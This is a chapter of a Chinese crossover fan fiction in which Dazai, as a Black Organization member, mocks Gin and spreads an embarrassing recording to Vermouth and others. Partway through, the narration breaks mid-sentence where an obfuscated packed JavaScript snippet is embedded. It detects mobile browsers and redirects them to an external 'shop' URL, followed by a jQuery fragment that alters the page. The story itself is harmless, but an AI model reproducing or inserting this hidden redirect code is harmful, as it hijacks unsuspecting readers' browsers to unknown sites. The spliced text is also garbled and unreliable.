7. 第 7 章
作品:《给柯学片场一点剧本组的震撼》 一股毛骨悚然感顺着工藤新一的脊柱往上爬,还未成长起来的少年僵在原地,喉咙像是被什么东西卡死,任嘴唇如何蠕动也没有半点声音。
“那么,下次再见。”太宰治挥手再见,黑色的身影慢慢走远。
太宰治没走多远,手机铃声就响了起来,催魂一样。
“格兰特,”太宰治接通电话,冷调的声音落在太宰治耳中,听不出任何情绪,“在哪里?”
太宰治没有犹豫,报了他现在的地址,他望了望天空,已经有细密的雨丝落在他身上了:“下雨了。”
“咔嚓咔嚓”的声音透过电话不停响动着,像是有人反复点燃打火机然后合起,透着股不耐烦。
“知道了。”
“别乱跑,”琴酒没挂电话,“我不想过来的时候还要花时间找你。”
太宰治抬手就把电话挂了,摸着下巴感叹:“这个天气还适合杀人放火啊。”
细密的雨丝已经被豆大的雨滴替代,噼里啪啦地落了下来,路灯一闪一闪的,看着快要走到生命的尽头,路灯底下站着的少年已经完全被雨水打湿,黑发塌在脸上,水珠顺着发尾往下滑,他靠在路灯杆上,不知道在想些什么。
远处的车灯结束了路灯“闪闪”发光的历史,路灯彻底不亮了,只有驶过来的车灯照亮了这一片,分外晃眼睛。
保时捷356A在太宰治面前停了下来。
“琴酒,你晚点了啊。找我什么事?”太宰治摸着下巴,话说到一半抬手制止了琴酒说话的动作,并顺利得到一个无语的表情,“让我猜猜。”
“不是追责,我逃的事情多了去了,你没那么闲,”太宰治从口袋中掏出一本小册子,就算他身上已经湿透了,那本册子依旧干燥,他检查着册子上是否沾染了水痕,“琴酒,今晚的任务对象很难缠啊。”
太宰治轻轻感叹,他按下车窗,雨从窗口落了进来,血腥味慢慢淡了下来。
“Gin,你受伤了啊。”黑发少年一只手撑在下巴处,他好整以暇地看着面前的银发男人,语调微微上扬,透着股说不出来的危险。
“格兰特,你想干什么!”坐在驾驶座上的伏特加眼睛盯着前面的路况,没办法怒视太宰治,遂怒喝道。
“我吗?”太宰治歪了歪头,“我只是稍微有些好奇,就像侦探看见有趣的谜团想要推理破解得到谜底一样。”
黑发少年整个人的姿态轻松随意,似乎没有半点自己整条小命都在别人手里的自觉,视线轻轻地落在银发男人身上,带着难言的困惑。
“琴酒,你为什么想活着?”
“只有蠢货才会不想活着。”琴酒冷笑一声,视线扫过太宰治手里的册子,“你还在研究那种蠢得要死的东西啊。”
太宰治丝毫不为琴酒的话动摇,当即嘲笑道:“不然像琴酒你一样一大把年纪把组织当家,每天除了出任务就是出任务没有一点自己的追求吗?”
伏特加第一时间反驳太宰治,“大哥还是一枝花的年纪!”
“原来如此,琴酒还是一枝花啊。”太宰治恍然大悟,一手握拳砸进另一只手上,聪明人的灯泡像是在他身后亮起。
“闭嘴蠢货。”琴酒额角青筋跳了跳。
伏特加附和:“就是,格兰特闭嘴!”
太宰治故作惊讶:“哎,我吗?”
“你们两个都给我闭嘴。”琴酒面无表情。
“是!”
“不要。”
琴酒:“你还有什么事?”
“琴酒,过几天不是有个大任务要做吗?”太宰治提醒,“你现在的伤势会影响到时候的任务吧?”
琴酒揉了揉眉心,脸色更臭了。
“boss的意思是让你接替我完成这个任务,现在这个任务是你的了。”琴酒说。
“知道了。”太宰治懒洋洋地打了个哈欠,没什么分外的情绪。
临下车前,太宰治想起什么,认真地对琴酒说:
“对了,Gin,那句一枝花我录下来了,我会记得珍藏的。”
“格兰特,滚下去。”
太宰治走在回安全屋的路上,不知道在感叹些什么让琴酒火冒三丈的东西:
“琴酒脾气真好。”
“居然没有强制销毁录音。”
“他真是个大好人啊。”
上述台词并不只在太宰治单独一个人的时候出现,太宰治将他们发扬光大了。
酒吧。
“格兰特,你刚才说什么了?”金发大美人长发慢慢落了下来,依旧挡不住她眉眼间的讶异,一边眉毛略微挑起,“我好像没有听清。”
金发美人是黑衣组织成员,代号贝尔摩德,表面身份是好莱坞正在活跃的巨星之一。卓越的演
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146408|196388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
技依旧没有挡住她脸上的微妙,尤其是新人又重复了一遍的时候。
“琴酒真是个大好人。”黑发少年坐在吧台前,他有一搭没一搭地喝着被子里的饮料,好像在真心实意地感叹。
贝尔摩德脸上的笑容僵硬下来,没有说话,但语言从她的眼睛里流了出来:你脑子瓦特了?
再神经的人对着琴酒那张脸也说不出这是个好人的话吧?
贝尔摩德最后还是将这句话吞了下来,努力保持着体面的微笑,。
组织又来了个神经病。
“我有证据。”太宰治脸上洋溢起自信的笑容,他掏出录音笔,“琴酒都没有强制要求销毁录音,他难道还不是大好人吗?”
“大哥是一枝花。”
伏特加的声音从录音笔中传了出来,清晰可闻,后面还有琴酒的“闭嘴蠢货”,但是这不是更加印证了这份录音的真实性吗?
贝尔摩德沉默片刻,脸上笑容很快就漾开了。
新人是不是神经病有什么关系,琴酒的热闹才是难得一见。
贝尔摩德瞬间与太宰治统一口径:“琴酒真是个大好人。”
太宰治似乎为自己的独到见解得到认同分外骄傲,他弯着眸子点头:“是吧。”
贝尔摩德和太宰治一起笑了起来,话锋一转:“你这录音还有备份吗?”
“有啊,我有好多备份呢,你要一份吗?”太宰治似乎为自己找到同好开心,热情分享。
贝尔摩德当机立断:“要。”
太宰治当即就发了一份给贝尔摩德,发完后他语气里却带了些迟疑:“这样真的好吗?万一琴酒知道了怎么办?”
贝尔摩德看着手机里已经到手的录音,嘴角弧度怎么也压不住,也有心情装模作样哄新人了:“只要我们不告诉琴酒就好了。”
“真是个好主意啊。”太宰治弯了弯眸子。
而当天从酒吧走出去的组织成员脸上都带着痴痴的笑容,碰上琴酒也没消散,甚至态度更加谨慎了。
直到这份录音传到了朗姆手里,被朗姆拿来嘲笑琴酒,琴酒才发现太宰治这段时间到底都干了些什么,而等他专门去封这批录音的时候,录音已经传遍了大半个组织。
而太宰治作为初始发源地和最后推手成功赚取巨额震惊值安然退场,堪称最大赢家。
当然这就是后话了。

